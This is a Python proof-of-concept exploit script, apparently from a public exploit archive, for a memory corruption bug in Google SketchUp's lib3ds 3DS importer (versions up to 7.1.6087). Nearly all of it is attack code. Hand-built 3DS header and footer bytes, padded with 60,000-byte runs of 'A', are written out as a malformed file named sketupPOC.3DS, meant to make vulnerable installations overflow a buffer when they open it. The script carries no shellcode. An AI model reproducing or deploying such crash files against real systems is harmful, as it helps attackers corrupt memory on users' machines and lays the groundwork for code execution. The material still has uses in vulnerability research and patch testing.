#!/usr/bin/python # # Google SketchUp <= v7.1.6087 'lib3ds' 3DS Importer Memory Corruption # Code by: mr_me # Found by Corelabs # Advisory: http://www.coresecurity.com/content/google-sketchup-vulnerability # Download: http://download.cnet.com/Google-SketchUp/3000-6677_4-11097712.html # Greetz to: Corelan Security Team::corelanc0d3r/ekse/EdiStrosar/Rick2600/MarkoT/ # Tested on: Windows XP sp3 # Notes: Latest version not vulnerable # # ** Welcome sinn3r, to the corelan team! ** # crash = "\x41" * 60000 header =("\x3d\x3d\x6a\x0b\x00\x00\x3e\x3d\x0a\x00\x00\x00\x03\x00\x00\x00" "\xff\xaf\xc2\x00\x00\x00\x00\xa0\x0e\x00\x00\x00\x4d\x45\x4e\x44" "\x49\x4e\x49\x00\x10\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00" "\x9f\xb6\x00\x12\x00\x09\x00\x00\x00\x6e\x8b\x00\x20\xa0\x18\x00" "\x00\x00\x11\x00\x09\x00\x00\x00\xb0\x9c\x00\x12\x00\x09\x00\x00" "\x00\x83\x6a\x00\x30\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00" "\x00\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x40\xa0\x0e\x00" "\x00\x00\x30\x00\x08\x00\x00\x00\x00\x00\x41\xa0\x0e\x00\x00\x00" "\x30\x00\x08\x00\x00\x00\x00\x00\x50\xa0\x0e\x00\x00\x00\x30\x00" "\x08\x00\x00\x00\x00\x00\x52\xa0\x0e\x00\x00\x00\x30\x00\x08\x00" "\x00\x00\x00\x00\x53\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00\x00" "\x00\x00\x00\xa1\x08\x00\x00\x00\x03\x00\x84\xa0\x0e\x00\x00\x00" "\x30\x00\x08\x00\x00\x00\x00\x00\x87\xa0\x0a\x00\x00\x00\x00\x00" "\x80\x3f\xff\xaf\xee\x00\x00\x00\x00\xa0\x0b\x00\x00\x00\x43\x4f" "\x4f\x50\x00\x10\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00\x00" "\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x20\xa0\x18\x00\x00" "\x00\x11\x00\x09\x00\x00\x00\x00\x00\x00\x12\x00\x09\x00\x00\x00" "\x00\x00\x00\x30\xa0\x18\x00\x00\x00\x11\x00\x09\x00\x00\x00\x00" "\x00\x00\x12\x00\x09\x00\x00\x00\x00\x00\x00\x40\xa0\x0e\x00\x00" "\x00\x30\x00\x08\x00\x00\x00\x00\x00\x41\xa0\x0e\x00\x00\x00\x30") header += crash header +=("\x00\x08\x00\x00\x00\x00\x00\x50\xa0\x0e\x00\x00\x00\x30\x00\x08" "\x00\x00\x00\x00\x00\x52\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00" "\x00\x00\x00\x53\xa0\x0e\x00\x00\x00\x30\x00\x08\x00\x00\x00\x00" "\x00\x00\xa1\x08\x00\x00\x00\x03\x00\x84\xa0\x0e\x00\x00\x00\x30" "\x00\x08\x00\x00\x00\x00\x00\x87\xa0\x0a\x00\x00\x00\x00\x00\x80" "\x3f\x00\xa2\x2f\x00\x00\x00\x30\x00\x08\x00\x00\x00\x64\x00\x00" "\xa3\x0f\x00\x00\x00\x43\x4f\x4f\x50\x2e\x4a\x50\x47\x00\x51\xa3" "\x08\x00\x00\x00\x00\x00\x53\xa3\x0a\x00\x00\x00\x29\x5c\x8f\x3d" "\x00\x01\x0a\x00\x00\x00\x00\x00\x80\x3f\x00\x40\xa0\x09\x00\x00" "\x67\x74\x6f\x77\x65\x72\x00\x00\x41\x93\x09\x00\x00\x10\x41\x9c" "\x02\x00\x00\x37\x00\x06\x37\x80\xc2\x81\xd9\xa2\x41\x8b\x68\x9d" "\xc1\x06\x37\x80\xc2\x85\xd9\xa2\x41\x98\x2b\xbf\x41\x06\x37\x80" "\xc2\x2c\xe0\x26\x42\x8d\x68\x9d\xc1\x06\x37\x80\xc2\x2c\xe0\x26" "\x42\x95\x2b\xbf\x41\x3b\xd9\x99\xc2\x2c\xe0\x26\x42\x8d\x68\x9d" "\xc1\x3b\xd9\x99\xc2\x2c\xe0\x26\x42\x95\x2b\xbf\x41\x3b\xd9\x99" "\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\x3b\xd9\x99\xc2\x85\xd9\xa2" "\x41\x98\x2b\xbf\x41\xe3\xce\x80\xc2\x19\x89\xa6\x41\x98\x2b\xbf" "\x41\x15\x4c\x99\xc2\x19\x89\xa6\x41\x98\x2b\xbf\x41\xe3\xce\x80" "\xc2\x3a\xe7\x24\x42\x95\x2b\xbf\x41\x15\x4c\x99\xc2\x3a\xe7\x24" "\x42\x95\x2b\xbf\x41\x15\x4c\x99\xc2\x15\x89\xa6\x41\xc8\x9f\x99" "\xc1\x15\x4c\x99\xc2\x38\xe7\x24\x42\xce\x9f\x99\xc1\xe3\xce\x80" "\xc2\x38\xe7\x24\x42\xce\x9f\x99\xc1\xe3\xce\x80\xc2\x15\x89\xa6" "\x41\xc8\x9f\x99\xc1\x18\xda\x80\xc2\x34\xa6\xa6\x41\xb2\x34\xb2" "\x41\xad\x51\x99\xc2\x34\xa6\xa6\x41\xb2\x34\xb2\x41\x18\xda\x80" "\xc2\xc4\xdb\x24\x42\xb0\x34\xb2\x41\xad\x51\x99\xc2\xc4\xdb\x24" "\x42\xb0\x34\xb2\x41\xad\x51\x99\xc2\x34\xa6\xa6\x41\x4f\x30\xad" "\x41\x18\xda\x80\xc2\x34\xa6\xa6\x41\x4f\x30\xad\x41\x18\xda\x80" "\xc2\xc4\xdb\x24\x42\x4e\x30\xad\x41\xad\x51\x99\xc2\xc4\xdb\x24" "\x42\x4e\x30\xad\x41\xd5\xd4\x86\xc2\x81\xd9\xa2\x41\x8b\x68\x9d" "\xc1\xd5\xd4\x86\xc2\x82\xd9\xa2\x41\x54\xbe\x81\xc0\xd9\x35\x93" "\xc2\x82\xd9\xa2\x41\x54\xbe\x81\xc0\xd9\x35\x93\xc2\x81\xd9\xa2" "\x41\x8b\x68\x9d\xc1\xd5\xd4\x86\xc2\x50\x88\xa6\x41\x8b\x68\x9d" "\xc1\xd9\x35\x93\xc2\x09\x71\xa6\x41\x8b\x68\x9d\xc1\x71\x07\x89" "\xc2\xe6\x88\xa6\x41\x8b\x68\x9d\xc1\xd5\xd4\x86\xc2\x09\x71\xa6" "\x41\xc8\x9f\x99\xc1\xd5\xd4\x86\xc2\x15\x89\xa6\x41\xc8\x9f\x99" "\xc1\xd9\x35\x93\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\x71\x07\x89" "\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\xd5\xd4\x86\xc2\x16\x89\xa6" "\x41\x54\xbe\x81\xc0\xd9\x35\x93\xc2\x16\x89\xa6\x41\x54\xbe\x81" "\xc0\x71\x07\x89\xc2\x82\xd9\xa2\x41\xfe\x9a\xb4\xc0\x71\x07\x89" "\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\x71\x07\x89\xc2\x15\x89\xa6" "\x41\xc8\x9f\x99\xc1\x71\x07\x89\xc2\x16\x89\xa6\x41\xfe\x9a\xb4" "\xc0\xa5\x0b\x89\xc2\x81\xd9\xa2\x41\x8b\x68\x9d\xc1\xa5\x0b\x89" "\xc2\x82\xd9\xa2\x41\xcc\xbc\x81\xc0\x2a\xbc\x90\xc2\x82\xd9\xa2" "\x41\xcc\xbc\x81\xc0\x2a\xbc\x90\xc2\x82\xd9\xa2\x41\x54\xbe\x81" "\xc0\xa5\x0b\x89\xc2\xef\xa5\xa6\x41\x8b\x68\x9d\xc1\x2a\xbc\x90" "\xc2\xba\xa5\xa6\x41\x8b\x68\x9d\xc1\x2a\xbc\x90\xc2\x09\x71\xa6") header += crash header +=("\x41\x8b\x68\x9d\xc1\x2a\xbc\x90\xc2\xba\xa5\xa6\x41\xc8\x9f\x99" "\xc1\x2a\xbc\x90\xc2\x09\x71\xa6\x41\xc8\x9f\x99\xc1\xa5\x0b\x89" "\xc2\xf0\xa5\xa6\x41\xc8\x9f\x99\xc1\xa5\x0b\x89\xc2\x15\x89\xa6" "\x41\xc8\x9f\x99\xc1\xa5\x0b\x89\xc2\x16\x89\xa6\x41\xcc\xbc\x81" "\xc0\x2a\xbc\x90\xc2\x16\x89\xa6\x41\xcc\xbc\x81\xc0\x2a\xbc\x90" "\xc2\x16\x89\xa6\x41\x54\xbe\x81\xc0\x11\x41\x76\x00\x00\x00\x37" "\x00\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00" "\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00" "\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x00\x85\x60" "\x41\x36\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x80\x3f\x00\xea\x11\xbe\x08\x34\x28" "\x40\x00\x00\x00\x00\x65\x41\x07\x00\x00\x00\x00\x20\x41\x3e\x06" "\x00\x00\x70\x00\x01\x00\x00\x00\x02\x00\x06\x85\x01\x00\x02\x00" "\x03\x00\x03\x85\x03\x00\x02\x00\x04\x00\x06\x85\x03\x00\x04\x00" "\x05\x00\x03\x85\x05\x00\x04\x00\x06\x00\x06\x85\x05\x00\x06\x00" "\x07\x00\x03\x85\x06\x00\x04\x00\x02\x00\x06\x85\x07\x00\x01\x00" "\x08\x00\x04\x85\x09\x00\x07\x00\x08\x00\x01\x85\x01\x00\x03\x00" "\x08\x00\x04\x85\x08\x00\x03\x00\x0a\x00\x01\x85\x05\x00\x07\x00" "\x09\x00\x04\x85\x03\x00\x05\x00\x0a\x00\x04\x85\x05\x00\x0b\x00") footer = ("\x0a\x00\x02\x85\x0b\x00\x05\x00\x09\x00\x01\x85\x0d\x00\x0c\x00" "\x0e\x00\x05\x85\x0f\x00\x08\x00\x0e\x00\x05\x85\x0a\x00\x0e\x00" "\x08\x00\x05\x85\x0e\x00\x0a\x00\x0d\x00\x05\x85\x0d\x00\x0a\x00" "\x0b\x00\x03\x85\x0d\x00\x0b\x00\x0c\x00\x05\x85\x0b\x00\x09\x00" "\x0c\x00\x06\x85\x11\x00\x10\x00\x12\x00\x06\x85\x11\x00\x12\x00" "\x13\x00\x03\x85\x11\x00\x14\x00\x15\x00\x06\x85\x11\x00\x15\x00" "\x10\x00\x03\x85\x10\x00\x15\x00\x16\x00\x06\x85\x10\x00\x16\x00" "\x12\x00\x03\x85\x12\x00\x16\x00\x17\x00\x06\x85\x12\x00\x17\x00" "\x13\x00\x03\x85\x13\x00\x17\x00\x14\x00\x06\x85\x13\x00\x14\x00" "\x11\x00\x03\x85\x14\x00\x17\x00\x16\x00\x06\x85\x14\x00\x16\x00" "\x15\x00\x03\x85\x18\x00\x00\x00\x19\x00\x05\x85\x00\x00\x18\x00" "\x02\x00\x05\x85\x19\x00\x00\x00\x01\x00\x02\x85\x07\x00\x1a\x00" "\x01\x00\x01\x85\x07\x00\x06\x00\x1a\x00\x04\x85\x1a\x00\x06\x00" "\x1b\x00\x03\x85\x02\x00\x18\x00\x1c\x00\x02\x85\x06\x00\x02\x00" "\x1d\x00\x00\x85\x1d\x00\x1b\x00\x06\x00\x06\x85\x1e\x00\x02\x00" "\x1c\x00\x01\x85\x0f\x00\x0e\x00\x1f\x00\x04\x85\x20\x00\x0f\x00" "\x1f\x00\x05\x85\x0e\x00\x0c\x00\x21\x00\x02\x85\x21\x00\x0c\x00" "\x09\x00\x06\x85\x22\x00\x1f\x00\x0e\x00\x04\x85\x23\x00\x0f\x00" "\x20\x00\x03\x85\x0f\x00\x23\x00\x08\x00\x01\x85\x23\x00\x09\x00" "\x08\x00\x02\x85\x24\x00\x21\x00\x09\x00\x04\x85\x1a\x00\x1b\x00") footer += crash footer +=("\x1d\x00\x06\x85\x1e\x00\x25\x00\x26\x00\x03\x85\x1c\x00\x18\x00" "\x20\x00\x04\x85\x1f\x00\x1c\x00\x20\x00\x05\x85\x1c\x00\x1f\x00" "\x1e\x00\x05\x85\x1a\x00\x1d\x00\x21\x00\x02\x85\x1e\x00\x1f\x00" "\x22\x00\x03\x85\x25\x00\x1e\x00\x27\x00\x00\x85\x22\x00\x27\x00" "\x1e\x00\x05\x85\x18\x00\x19\x00\x23\x00\x06\x85\x20\x00\x18\x00" "\x23\x00\x01\x85\x24\x00\x1a\x00\x21\x00\x05\x85\x28\x00\x25\x00" "\x27\x00\x05\x85\x29\x00\x26\x00\x25\x00\x06\x85\x26\x00\x29\x00" "\x1e\x00\x05\x85\x29\x00\x25\x00\x2d\x00\x03\x85\x2d\x00\x25\x00" "\x28\x00\x06\x85\x19\x00\x01\x00\x2a\x00\x01\x85\x01\x00\x2b\x00" "\x2a\x00\x02\x85\x01\x00\x1a\x00\x2b\x00\x00\x85\x19\x00\x2a\x00" "\x23\x00\x05\x85\x1a\x00\x2c\x00\x2b\x00\x06\x85\x02\x00\x1e\x00" "\x2d\x00\x00\x85\x1d\x00\x02\x00\x2e\x00\x00\x85\x2e\x00\x02\x00" "\x2d\x00\x01\x85\x2f\x00\x1d\x00\x2e\x00\x05\x85\x29\x00\x2d\x00" "\x1e\x00\x04\x85\x32\x00\x0e\x00\x30\x00\x01\x85\x0e\x00\x21\x00" "\x30\x00\x00\x85\x21\x00\x31\x00\x30\x00\x06\x85\x31\x00\x21\x00" "\x1d\x00\x06\x85\x22\x00\x0e\x00\x32\x00\x00\x85\x2d\x00\x22\x00" "\x32\x00\x01\x85\x22\x00\x2d\x00\x27\x00\x01\x85\x33\x00\x27\x00" "\x2d\x00\x05\x85\x27\x00\x33\x00\x28\x00\x05\x85\x09\x00\x23\x00" "\x34\x00\x02\x85\x09\x00\x34\x00\x35\x00\x02\x85\x24\x00\x09\x00" "\x35\x00\x00\x85\x24\x00\x36\x00\x1a\x00\x05\x85\x24\x00\x35\x00" "\x36\x00\x03\x85\x28\x00\x33\x00\x2d\x00\x02\x85\x28\x00\x2d\x00" "\x34\x00\x03\x85\x31\x00\x1d\x00\x2f\x00\x03\x85\x23\x00\x2a\x00" "\x2d\x00\x02\x85\x2c\x00\x1a\x00\x36\x00\x05\x85\x2d\x00\x34\x00" "\x23\x00\x06\x85\x28\x00\x34\x00\x2d\x00\x06\x85\x34\x00\x2d\x00" "\x28\x00\x04\x85\x2d\x00\x34\x00\x28\x00\x04\x85\x2e\x00\x2d\x00" "\x32\x00\x06\x85\x30\x00\x2e\x00\x32\x00\x05\x85\x2e\x00\x30\x00" "\x2f\x00\x05\x85\x2f\x00\x30\x00\x31\x00\x03\x85\x34\x00\x2a\x00" "\x2b\x00\x06\x85\x2b\x00\x35\x00\x34\x00\x06\x85\x35\x00\x2b\x00" "\x2c\x00\x06\x85\x2c\x00\x36\x00\x35\x00\x06\x85\x2d\x00\x2a\x00" "\x34\x00\x07\x85\x30\x41\xf0\x00\x00\x00\x4d\x45\x4e\x44\x49\x4e" "\x49\x00\x70\x00\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00" "\x06\x00\x07\x00\x08\x00\x09\x00\x0a\x00\x0b\x00\x0c\x00\x0d\x00" "\x0e\x00\x0f\x00\x10\x00\x11\x00\x12\x00\x13\x00\x14\x00\x15\x00" "\x16\x00\x17\x00\x18\x00\x19\x00\x1a\x00\x1b\x00\x1c\x00\x1d\x00" "\x1e\x00\x1f\x00\x20\x00\x21\x00\x22\x00\x23\x00\x24\x00\x25\x00" "\x26\x00\x27\x00\x28\x00\x29\x00\x2a\x00\x2b\x00\x2c\x00\x2d\x00" "\x2e\x00\x2f\x00\x30\x00\x31\x00\x32\x00\x33\x00\x34\x00\x35\x00" "\x36\x00\x37\x00\x38\x00\x39\x00\x3a\x00\x3b\x00\x3c\x00\x3d\x00" "\x3e\x00\x3f\x00\x40\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00" "\x46\x00\x47\x00\x48\x00\x49\x00\x4a\x00\x4b\x00\x4c\x00\x4d\x00" "\x4e\x00\x4f\x00\x50\x00\x51\x00\x52\x00\x53\x00\x54\x00\x55\x00" "\x56\x00\x57\x00\x58\x00\x59\x00\x5a\x00\x5b\x00\x5c\x00\x5d\x00" "\x5e\x00\x5f\x00\x60\x00\x61\x00\x62\x00\x63\x00\x64\x00\x65\x00" "\x66\x00\x67\x00\x68\x00\x69\x00\x6a\x00\x6b\x00\x6c\x00\x6d\x00" "\x6e\x00\x6f\x00\x50\x41\xc6\x01\x00\x00\x04\x00\x00\x00\x04\x00" "\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x10\x00" "\x00\x00\x20\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00" "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00" "\x00\x00\x01\x00\x00\x00\x00\x04\x00\x00\x80\x00\x00\x00\x80\x00" "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02" "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x02\x00" "\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x08\x00" "\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x20\x00\x00\x00\x20\x00" "\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x02\x00" "\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x20\x00" "\x00\x00\x20\x00\x00\x00\x20\x00\x00\x00\x00\x04\x00\x00\x00\x04" "\x00\x00\x00\x04\x00\x00\x40\x00\x00\x00\x00\x04\x00\x00\x40\x00" "\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x20" "\x00\x00\x00\x80\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x40" "\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x80\x00\x00\x00\x80" "\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x20\x00\x00\x00\x80" "\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x00\x00" "\x01\x00\x02\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x10" "\x00\x00\x02\x00\x00\x00\x20\x00\x00\x00\x20\x00\x00\x00\x20\x00" "\x00\x00\x20\x00\x00\x00\x20\x00\x00\x00\x00\x04\x00\x00\x00\x04" "\x00\x00\x00\x04\x00\x00\x00\x40\x00\x00\x00\x04\x00\x00\x00\x04" "\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x40\x00\x00\x00\x40\x00" "\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x10\x00\x00\x40\x00" "\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x40\x00\x00\x00\x10" "\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00" "\x01\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00" "\x10\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00" "\x10\x00\x00\x00\x10\x00\x00\x00\x04\x00") footer += crash print "[+] Google Sketchup Local BOF" buff = header + footer; buff.strip() try: print "[+] Writing sketchupPOC.3DS.. ph33r" google = open('sketupPOC.3DS','w'); google.write(buff); google.close(); except: print "[-] Error: cannot write file to filesystem"